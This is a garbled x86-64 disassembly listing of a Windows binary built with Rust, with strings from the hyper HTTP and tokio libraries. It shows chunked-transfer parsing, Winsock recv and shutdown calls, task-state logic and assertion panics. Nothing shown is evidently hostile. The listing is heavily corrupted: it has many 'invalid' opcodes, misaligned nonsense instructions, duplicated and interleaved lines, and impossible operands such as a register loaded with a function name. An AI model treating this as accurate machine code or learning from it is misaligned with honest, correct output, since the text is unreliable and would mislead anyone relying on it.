add byte [rax], al
invalid
jmp case.0x1400e2e02.9
lea rdx, str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_Sizeinvalid_chunk_size:_overflowC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1encode.rs_r_n0_r_n_r_n0_r_n_r_n_r_nconnection_errorC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh2client.rs
mov r8d, 0x25
mov cl, 0x25
call fcn.1400e4a10
mov r13, rax
mov sil, 1
lea rcx, [rbp + 0x28]
lea ecx, [rbp + 0x28]
sub byte [rax - 0x77], cl
mov rdx, rdi
cli
xor r8d, r8d
call qword [r14 + reloc.WS2_32.dll_recv]
call qword [rsi + reloc.WS2_32.dll_recv]
jmp fcn.1400e4245
jne 0x1400e3f69
mov qword [rbp + 0x18], rdi
mov r8, qword [rbp + 0x20]
test r8, r8
je 0x1400e3f9a
mov sil, byte [rdi]
mov dh, byte [rdi]
lea rcx, [rbp + 0x28]
mov rdx, rdi
call qword [r14 + reloc.WS2_32.dll_recv]
xor r12d, r12d
cmp sil, 0xa
je 0x1400e424a
lea rdx, [0x1401bbbc6]
mov r8d, reloc.WS2_32.dll_setsockopt
adc eax, 0xb1000000
adc al, 0xe8
jnp 0x1400e3f9d
add byte [rax], al
add byte [rcx - 0x48], al
adc eax, 0xb1000000
adc al, 0xe8
jnp 0x1400e3f9d
add byte [rax], al
jmp case.0x1400e2e02.9
lea rdx, str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_Sizeinvalid_chunk_size:_overflowC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1encode.rs_r_n0_r_n_r_n0_r_n_r_n_r_nconnection_errorC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh2client.rs
mov r8d, 0x25
invalid
xlatb
jnp 0x1400e3fad
add byte [rcx - 0x48], al
and eax, 0xb1000000
add byte [rcx + 0xa62e825], dh
invalid
mov cl, 0x25
call fcn.1400e4a10
add byte [rcx - 0x77], cl
invalid
mov r13, rax
mov sil, 1
lea rcx, [rbp + 0x28]
sub byte [r8 - 0x77], r9b
cli
sub byte [rax - 0x77], cl
cli
xor r8d, r8d
call qword [r14 + reloc.WS2_32.dll_recv]
jmp fcn.1400e4245
test bh, al
cli
invalid
movups xmmword [rax], xmm0
mov qword [rbp + 0x10], r14
mov qword [rbp + 0x18], rdi
mov r8, qword [rbp + 0x20]
test r8, r8
je 0x1400e403b
mov sil, byte [rdi]
lea rcx, [rbp + 0x28]
mov rdx, rdi
call qword [r14 + reloc.WS2_32.dll_recv]
push rsi
adc byte [rax - 0x80], al
dec byte [0x104a24f73]
xchg esp, eax
invalid
push rsi
adc byte [rax - 0x80], al
dec byte [0x104a24f73]
xchg esp, eax
invalid
add r12b, 7
jmp 0x1400e424a
add al, byte [rax]
invalid
lea rdx, str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_Sizeinvalid_chunk_size:_overflowC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1encode.rs_r_n0_r_n_r_n0_r_n_r_n_r_nconnection_errorC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh2client.rs
mov r8d, 0x25
mov cl, 0x25
call fcn.1400e4a10
or dword [rax], eax
add byte [rcx - 0x77], cl
invalid
mov sil, 1
lea rcx, [rbp + 0x28]
lea ecx, [rbp + 0x28]
sub byte [rax - 0x77], cl
cli
mov rdx, rdi
xor r8d, r8d
call qword [r14 + reloc.WS2_32.dll_recv]
jmp fcn.1400e4245
jne 0x1400e40c0
mov qword [rbp + 0x18], rdi
mov r8, qword [rbp + 0x20]
test r8, r8
je case.0x1400df007.133
mov sil, byte [rdi]
mov dh, byte [rdi]
lea rcx, [rbp + 0x28]
mov rdx, rdi
call qword [r14 + reloc.WS2_32.dll_recv]
mov r12b, 9
cmp sil, 0xa
je 0x1400e424a
lea rdx, [0x1401bbc3f]
mov r8d, reloc.WS2_32.dll_shutdown
invalid
add byte [rax], al
add byte [rcx + 0x924e814], dh
add byte [rax], al
jmp case.0x1400e2e02.9
stc
invalid
invalid
add byte [rcx - 0x48], al
invalid
lea rdx, str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_Sizeinvalid_chunk_size:_overflowC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1encode.rs_r_n0_r_n_r_n0_r_n_r_n_r_nconnection_errorC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh2client.rs
mov r8d, 0x25
add byte [rax], al
mov cl, 0x25
call fcn.1400e4a10
or ecx, dword [rcx]
add byte [rax], al
mov r13, rax
mov sil, 1
lea rcx, [rbp + 0x28]
sub byte [rax - 0x77], cl
cli
sub byte [rax - 0x77], cl
cli
xor r8d, r8d
call qword [r14 + reloc.WS2_32.dll_recv]
jmp fcn.1400e4245
lea rax, [rbp - 8]
movups xmm0, xmmword [rax]
lea rax, [rbp + 0x20]
movups xmmword [rax], xmm0
add byte [rcx + rcx*4 + 0x75], cl
invalid
jne 0x1400e4176
mov qword [rbp + 0x18], rdi
mov r8, qword [rbp + 0x20]
test r8, r8
je 0x1400e4197
mov sil, byte [rdi]
lea rcx, [rbp + 0x28]
mov rdx, rdi
call qword [r14 + reloc.WS2_32.dll_recv]
xor eax, eax
cmp sil, 0xd
cmp dh, 0xd
cmp dh, 0xd
sete al
lea r12d, [rax + rax*2]
add r12d, 7
jmp 0x1400e424a
add byte [rax], al
invalid
lea rdx, str.unexpected_EOF_during_chunk_size_lineInvalid_chunk_end_LFInvalid_chunk_body_CRInvalid_chunk_body_LF__Invalid_chunk_size_LFInvalid_chunk_size_linear_white_spaceinvalid_chunk_extension_contains_newlineInvalid_trailer_end_LFInvalid_chunk_size_line:_Invalid_Sizeinvalid_chunk_size:_overflowC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh1encode.rs_r_n0_r_n_r_n0_r_n_r_n_r_nconnection_errorC:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcprotoh2client.rs
mov r8d, 0x25
mov cl, 0x25
call fcn.1400e4a10
mov r13, rax
mov sil, 1
lea rcx, [rbp + 0x28]
sub byte [rax - 0x77], cl
cli
sub byte [rax - 0x77], cl
cli
xor r8d, r8d
call qword [r14 + reloc.WS2_32.dll_recv]
jmp fcn.1400e4245
invalid
test dword [rcx - 8], edx
invalid
mov al, 0x48
lea ecx, [rbp - 0x48]
mov dword [rdi], 0
lea ecx, [rbp + 0x28]
mov rdx, r13
call qword [r14 + reloc.WS2_32.dll_recv]
cmp sil, 0xa
jne 0x1400e4310
mov byte [rbx + 1], 0xb
lea rax, [0x1401b9e38]
mov qword [r15 + 8], rax
lea rax, [0x1401ea218]
mov qword [r15 + 0x10], rax
mov qword [r15], 0
xorps xmm0, xmm0
movups xmmword [r15 + 0x18], xmm0
mov rax, qword [rbp - 0x60]
test rax, rax
jne 0x1400e4292
jmp 0x1400e3930
lea rdx, [0x1401bbb9d]
mov r8d, shutdown
mov cl, setsockopt
call fcn.1400e4a10
jmp case.0x1400e2e02.9
adc byte [rax - 0x75], cl
call 0x132135b4a
call qword [rax + 0x20c48348]
pop rbp
ret
add byte [rax], al
invalid
mov rdx, rax
and rdx, 0xfffffffffffffffa
or rdx, 1
or edx, 1
or edx, 1
mov ecx, eax
shr ecx, 5
and ecx, 1
lock cmpxchg qword [rdi], rdx
je 0x1400e4de8
test al, 4
je 0x1400e51ce
invalid
test al, 3
je 0x1400e4da0
cmp rax, 0x3f
jbe 0x1400e51e8
lea rdx, [rax - 0x40]
cmp rdx, 0x40
mov ecx, 0
adc rcx, 2
lock cmpxchg qword [rdi], rdx
jne 0x1400e4dba
lea rax, [0x1401eeed8]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
lea rax, [0x1401c6680]
mov qword [rbp + 0x360], rax
mov dword [rbp + 0x360], eax
mov qword [rbp + 0x368], rdi
lea rax, [rdi + 0x20]
mov qword [rbp + 0x388], rax
lea rax, [rbp + 0x360]
mov qword [rbp + 0x370], rax
mov rax, qword [rdi + 0x30]
cmp rax, 5
clc
add eax, 0x98bd8948
add eax, dword [rax]
invalid
je 0x1400e4e43
and eax, 0xfffffffe
cmp eax, 6
je 0x1400e5236
mov rsi, qword [rdi + 0x28]
mov eax, dword [0x14023c30c]
mov edi, 0x65001574
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
movzx eax, byte [rax + 0x100]
cmp eax, 1
je 0x1400e4eb5
test eax, eax
jne 0x1400e4f20
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
push rdx
invalid
add byte [rbx + 0x15747205], cl
adc eax, 0x8b486500
or al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
mov rdi, qword [rbp + 0x398]
cwde
add eax, dword [rax]
invalid
add byte [rax], 1
add byte [rax], al
add dword [rax - 0x75], ecx
mov ebp, 0x398
cwde
add eax, dword [rax]
invalid
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
invalid
je 0x1400e4ecf
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
invalid
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xd0]
mov qword [rbp + 0x390], rcx
mov rcx, qword [rax + 0xd8]
mov qword [rbp + 0x380], rcx
mov qword [rax + 0xd0], 1
mov qword [rax + 0xd8], rsi
add bl, ch
invalid
lea rcx, [rdi + 0x20]
mov qword [rbp - 0x60], 7
lea rdx, [rbp - 0x60]
mov qword [rbp + 0x388], rcx
mov qword [rbp + 0x398], rdi
mov ebp, 0x398
call fcn.1400e6270
jmp 0x1400e5175
xor eax, eax
mov qword [rbp + 0x390], rax
lea rcx, [rdi + 0x30]
lea rdx, [rbp + 0x370]
call fcn.1400bde20
mov ebx, eax
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
add byte [rcx], al
add byte [rax], al
cmp eax, 1
mov rsi, qword [rbp + 0x380]
je 0x1400e4fa5
test eax, eax
jne 0x1400e4fcd
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
mov byte [rax + 0x100], 1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x390]
mov qword [rax + 0xd0], rcx
mov qword [rax + 0xd8], rsi
fadd dword [rax]
add byte [rax], al
test bl, bl
je 0x1400e510c
mov rdi, qword [rbp + 0x398]
mov rax, qword [rdi]
jmp 0x1400e5006
test rcx, rcx
js 0x1400e521c
add rcx, 0x40
mov dl, 1
lock cmpxchg qword [rdi], rcx
je 0x1400e503f
test al, 1
je 0x1400e5202
test al, 0x20
jne 0x1400e515d
mov rcx, rax
and rcx, 0xfffffffffffffffe
test al, 4
jne 0x1400e4ff0
cmp rcx, 0x3f
jbe 0x1400e51e8
add byte [rax], al
add byte [rax], al
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
setb dl
add dl, dl
lock cmpxchg qword [rdi], rcx
jne 0x1400e5006
cmp dl, 2
je case.0x1400e4df6.3
movzx eax, dl
cmp eax, 1
jne case.0x1400e4df6.2
add dword [rdi], ecx
test dword [rcx + 1], esi
add byte [rax], al
mov rcx, qword [rdi + 0x20]
add rcx, 0x10
mov rdx, rdi
mov edx, edi
mov r8b, 1
call fcn.140172550
mov rax, 0xffffffffffffffc0
push rax
xadd qword [rdi], rax
push rax
xadd qword [rdi], rax
cmp rax, 0x3f
jbe 0x1400e527c
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400e4df6.2
mov rcx, qword [rbp + 0x388]
call fcn.1400bd7f0
mov rax, qword [rbp + 0x398]
mov rax, qword [rax + 0x220]
test rax, rax
je 0x1400e50ed
mov rcx, qword [rbp + 0x398]
mov rcx, qword [rcx + 0x228]
call qword [rax + 0x18]
jmp 0x1400e50ed
mov qword [rbp + 0x398], rdi
lea rcx, [rdi + 0x20]
call fcn.1400bd7f0
mov rax, qword [rbp + 0x398]
mov rax, qword [rax + 0x220]
test rax, rax
je 0x1400e50ed
mov rcx, qword [rbp + 0x398]
mov rcx, qword [rcx + 0x228]
call qword [rax + 0x18]
mov rax, qword [rbp + 0x398]
mov r8, qword [rax - 8]
mov eax, dword [rax - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp case.0x1400e4df6.2
mov qword [rbp + 0x180], 7
lea rdx, [rbp + 0x180]
mov rcx, qword [rbp + 0x388]
mov byte [rbx], al
add byte [rax], al
mov byte [rbx], al
add byte [rax], al
call fcn.1400e6270
xor eax, eax
mov qword [rbp - 0x48], r8
mov qword [rbp - 0x40], rcx
mov dword [rbp - 0x40], ecx
mov dword [rbp - 0x40], ecx
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rdx
mov qword [rbp - 0x60], 6
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x388]
call fcn.1400e6270
adc dword [rax], eax
add byte [rax - 0x75], cl
mov ch, 0x98
add eax, dword [rax]
add bl, ch
pop rsp
adc dword [rax], eax
add byte [rax - 0x75], cl
mov ch, 0x98
add eax, dword [rax]
add bl, ch
pop rsp
mov qword [rbp - 0x60], 7
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x388]
call fcn.1400e6270
sti
adc byte [rax], al
invalid
sti
adc byte [rax], al
add byte [rax - 0x75], cl
mov ch, 0x98
add eax, dword [rax]
add byte [rax - 0x75], cl
sub byte [rcx], r14b
mov rsi, qword [rbp + 0x398]
mov rax, qword [rsi + 0x28]
xor ecx, ecx
leave
leave
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x188], 1
mov dword [rbp + 0x188], 1
mov qword [rbp + 0x180], 6
lea rdx, [rbp + 0x180]
mov rcx, qword [rbp + 0x388]
call fcn.1400e6270
mov rcx, rsi
call fcn.1400e5ee0
nop
add rsp, 0x448
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_task_state.rs
lea r8, [0x1401c6308]
mov edx, 0x24
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401c6668]
mov edx, 0x26
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401c6348]
mov edx, 0x23
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401c6628]
mov edx, 0x2f
call fcn.140186b70
ud2
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
lea rax, [rbp + 0x378]
mov qword [rbp + 0x190], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_taskcore.rs
lea rcx, [rbp + 0x180]
call fcn.1401869b0
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401c65a0]
mov edx, 0x27
call fcn.140186b70
ud2
in al, dx
and byte [rax - 0x73], cl
push 0x40
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
adc byte [rax - 0x75], cl
call 0x131fa843a
call qword [rax + 0x20c48348]
adc byte [rax - 0x75], cl
call 0x131fa843a
call qword [rax + 0x20c48348]
pop rbp
ret
add al, 0
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax - 0x1fffffd], esp
add byte [rax], al
invalid
invalid
nop dword [rax + rax]
mov rdx, rax
and rdx, 0xfffffffffffffffa
or rdx, 1
or edx, 1
or edx, 1
mov ecx, eax
shr ecx, 5
and ecx, 1
lock cmpxchg qword [rdi], rdx
je case.0x1400e4df6.4
test al, 4
je 0x1400e6aba
test al, 3
je 0x1400e6690
cmp rax, 0x3f
jbe 0x1400e6ad4
lea rdx, [rax - 0x40]
cmp rdx, 0x40
mov ecx, 0
adc rcx, 2
lock cmpxchg qword [rdi], rdx
jne 0x1400e66aa
lea rax, [0x1401eeee8]
movsxd rcx, dword [rax + rcx*4]
invalid
or al, 0x88
add rcx, rax
jmp rcx
lea rax, [0x1401c6680]
mov qword [rbp + 0x360], rax
mov qword [rbp + 0x368], rdi
lea rax, [rdi + 0x20]
mov qword [rbp + 0x388], rax
lea rax, [rbp + 0x360]
add eax, dword [rax]
add byte [rax - 0x77], cl
test dword [rax + 3], esi
add byte [rax], al
mov rax, qword [rdi + 0x30]
cmp rax, 5
mov qword [rbp + 0x398], rdi
je 0x1400e6733
and eax, 0xfffffffe
cmp eax, 6
je 0x1400e6b22
mov rsi, qword [rdi + 0x28]
mov eax, dword [0x14023c30c]
add eax, 0x155bcf
add eax, 0x155bcf
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movzx eax, byte [rax + 0x100]
cmp eax, 1
je 0x1400e67a5
test eax, eax
jne 0x1400e6810
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
call fcn.14014a0c0
mov eax, dword [0x14023c30c]
adc eax, 0x8b486500
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
adc eax, 0x8b486500
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov byte [rax + 0x100], 1
mov rdi, qword [rbp + 0x398]
add byte [rax], 1
add byte [rax], al
add dword [rax - 0x75], ecx
mov ebp, 0x398
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0xd0]
mov qword [rbp + 0x390], rcx
mov rcx, qword [rax + 0xd8]
mov qword [rbp + 0x380], rcx
add eax, dword [rax]
add byte [rax - 0x39], cl
adc al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov al, 0xd8
add byte [rax], al
add bl, ch
xor dword [rax - 0x73], ecx
lea rcx, [rdi + 0x20]
mov qword [rbp - 0x60], 7
mov dword [rbp - 0x60], 7
lea rdx, [rbp - 0x60]
mov qword [rax + 0xd8], rsi
jmp 0x1400e6819
lea rcx, [rdi + 0x20]
mov qword [rbp - 0x60], 7
mov dword [rbp - 0x60], 7
lea rdx, [rbp - 0x60]
mov qword [rbp + 0x388], rcx
mov qword [rbp + 0x398], rdi
call fcn.1400e6270
jmp 0x1400e6a61
xor eax, eax
mov qword [rbp + 0x390], rax
nop
add eax, dword [rax]
invalid
lea rcx, [rdi + 0x30]
lea rdx, [rbp + 0x370]
call fcn.1400bde20
mov ebx, eax
mov eax, dword [0x14023c30c]
fistp dword [rdx + 0x15]
invalid
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x100]
cmp eax, 1
mov rsi, qword [rbp + 0x380]
je case.0x140110efd.136
test eax, eax
jne 0x1400e68bd
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
lea rcx, [rax + 0xb0]
lea rdx, [0x140165fa0]
add al, ch
cmp byte [r14], r8b
add byte [rbx + 0x155a8b05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x100], 1
mov eax, dword [0x14023c30c]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rbp + 0x390]
mov qword [rax + 0xd0], rcx
mov qword [rax + 0xd8], rsi
test bl, bl
je 0x1400e69f8
mov rdi, qword [rbp + 0x398]
mov rax, qword [rdi]
jmp 0x1400e68f6
test rcx, rcx
js 0x1400e6b08
add rcx, 0x40
mov dl, 1
lock cmpxchg qword [rdi], rcx
je 0x1400e692f
invalid
cmp dword [rax - 0xf7bf0ff], ebp
add dword [rax], eax
add byte [rax + 0x43850f20], ch
add dword [rax], eax
test al, 1
je 0x1400e6aee
test al, 0x20
jne 0x1400e6a49
invalid
add byte [rax - 0x77], cl
ror dword [rax - 0x7d], 0xe1
invalid
mov rcx, rax
and rcx, 0xfffffffffffffffe
test al, 4
jne 0x1400e68e0
cmp rcx, 0x3f
jbe 0x1400e6ad4
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
setb dl
add dl, dl
lock cmpxchg qword [rdi], rcx
jne 0x1400e68f6
ret 0xd200
cmp dl, 2
je case.0x1400e66e6.3
movzx eax, dl
cmp eax, 1
jne case.0x1400e66e6.2
mov rcx, qword [rbp + 0x388]
add byte [rax], al
mov rdx, rdi
call fcn.1401706b0
mov rax, 0xffffffffffffffc0
push rax
xadd qword [rdi], rax
push rax
xadd qword [rdi], rax
cmp rax, 0x3f
jbe 0x1400e6b68
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400e66e6.2
mov rcx, qword [rbp + 0x388]
call fcn.1400bd650
mov rax, qword [rbp + 0x398]
mov rax, qword [rax + 0x220]
test rax, rax
je 0x1400e69d9
mov rcx, qword [rbp + 0x398]
mov rcx, qword [rcx + 0x228]
call qword [rax + 0x18]
jmp 0x1400e69d9
cwde
add eax, dword [rax]
add byte [rax - 0x75], cl
mov dword [rax], ebp
add al, byte [rax]
add bh, bh
push rax
sbb bl, ch
xor al, 0x48
mov qword [rbp + 0x398], rdi
mov qword [rbp + 0x398], rdi
lea rcx, [rdi + 0x20]
call fcn.1400bd650
mov rax, qword [rbp + 0x398]
mov rax, qword [rax + 0x220]
test rax, rax
je 0x1400e69d9
mov rcx, qword [rbp + 0x398]
mov rcx, qword [rcx + 0x228]
mov dword [rax], ebp
add al, byte [rax]
add bh, bh
push rax
invalid
mov rax, qword [rbp + 0x398]
mov r8, qword [rax - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp case.0x1400e66e6.2
mov qword [rbp + 0x180], 7
lea rdx, [rbp + 0x180]
mov rcx, qword [rbp + 0x388]
mov byte [rbx], al
add byte [rax], al
add byte [rax], al
invalid
mov byte [rbx], al
add byte [rax], al
call fcn.1400e6270
xor eax, eax
mov qword [rbp - 0x48], r8
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rdx
mov qword [rbp - 0x60], 6
add byte [rax], al
add byte [rax - 0x73], cl
push rbp
movabs al, byte [0xe8000003888d8b48]
xor al, bh
clc
invalid
dec dword [rax - 0x75]
mov ch, 0x98
add eax, dword [rax]
add bl, ch
pop rsp
add byte [rax], al
add byte [rax - 0x73], cl
push rbp
movabs al, byte [0xe8000003888d8b48]
xor al, bh
clc
invalid
mov qword [rbp - 0x60], 7
lea rdx, [rbp - 0x60]
mov rcx, qword [rbp + 0x388]
call fcn.1400e6270
psubb mm7, mm7
invalid
invalid
psubb mm7, mm7
dec dword [rax - 0x75]
mov ch, 0x98
add eax, dword [rax]
add byte [rax - 0x75], cl
sub byte [rcx], r14b
mov rsi, qword [rbp + 0x398]
mov rax, qword [rsi + 0x28]
xor ecx, ecx
leave
leave
mov qword [rbp + 0x190], rcx
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x188], 1
mov qword [rbp + 0x180], 6
lea rdx, [rbp + 0x180]
mov rcx, qword [rbp + 0x388]
add eax, dword [rax]
add al, ch
retf
idiv edi
invalid
add eax, dword [rax]
add al, ch
retf
mov rcx, rsi
call fcn.1400e7600
nop
add rsp, 0x448
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_task_state.rs
lea r8, [0x1401c6308]
mov edx, 0x24
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401c6668]
mov edx, 0x26
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401c6348]
mov edx, 0x23
call fcn.140186b70
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401c6628]
mov edx, 0x2f
call fcn.140186b70
ud2
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], 1
lea rax, [rbp + 0x378]
mov qword [rbp + 0x190], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
lea rdx, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_src_runtime_taskcore.rs
lea rcx, [rbp + 0x180]
call fcn.1401869b0
ud2
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401c65a0]
mov edx, 0x27
call fcn.140186b70
ud2
test eax, eax
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rcx, qword [rbp - 8]
call fcn.140029350
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax + 0x38]
cmp byte [rax - 0x75], cl
push rax
call fcn.140023540
cmp byte [rax - 0x75], cl
push rax
call fcn.140023540
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xa98
add byte [rax], al
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xa00], xmm6
add byte [rax - 0x39], cl
test eax, edi
or dword [rax], eax
add dh, bh
invalid
invalid
dec dword [rax - 0x77]
xchg ebp, eax
ror byte [rcx], 1
or dword [rax], eax
add byte [rax - 0x77], cl
mov edi, ecx
add byte [rax - 0x39], cl
test eax, edi
or dword [rax], eax
add dh, bh
invalid
or dword [rax], eax
add byte [rax - 0x77], cl
mov edi, ecx
mov edi, ecx
movzx eax, byte [rcx + 0xa48]
lea rcx, [0x1401eeef8]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
mov qword [rbp + 0x9f0], rdi
jmp rax
lea rdx, [rdi + 0x10]
movups xmm6, xmmword [rdi]
mov word [rdi + 0xa49], 1
mov rax, qword [rdi + 0x528]
mov eax, dword [rdi + 0x528]
mov qword [rdi + 0xa50], rax
add byte [rax], al
lea r13, [rdi + 0xa58]
mov r8d, 0x518
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
movups xmmword [rdi + 0xf70], xmm6
jmp 0x1400e7cc6
lea r13, [rdi + 0xa58]
cmp qword [rdi + 0xf70], 3
je 0x1400e8128
mov qword [rbp + 0x9e8], r13
mov rcx, r13
mov rdx, qword [rbp + 0x9d0]
or dword [rax], eax
add al, ch
hlt
invalid
add byte [rax], al
mov ebx, eax
mov rcx, qword [rbp + 0x9f0]
lea r12, [rcx + 0xf70]
cmp al, 2
jne 0x1400e7d6d
mov rax, qword [r12]
cmp rax, 2
je 0x1400e814c
test rax, rax
je 0x1400e8194
mov rax, qword [rbp + 0x9d0]
mov rdi, qword [rax]
lea rsi, [rcx + 0xf78]
mov qword [rbp + 0x9e8], r13
mov rcx, rsi
call fcn.1400e79c0
test al, al
je 0x1400e7dda
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400e81f7
add rcx, 0x48
mov qword [rbp + 0x9e8], r13
mov rdx, rdi
call fcn.140019920
mov qword [rbp + 0x9e8], r13
mov rcx, rsi
call fcn.1400e79c0
test al, al
jne 0x1400e7f03
mov rax, qword [rsi]
jmp 0x1400e7e1c
mov rdi, qword [rcx + 0xf70]
mov r14, qword [rcx + 0xf78]
mov qword [rcx + 0xf70], 3
cmp rdi, 3
je 0x1400e8170
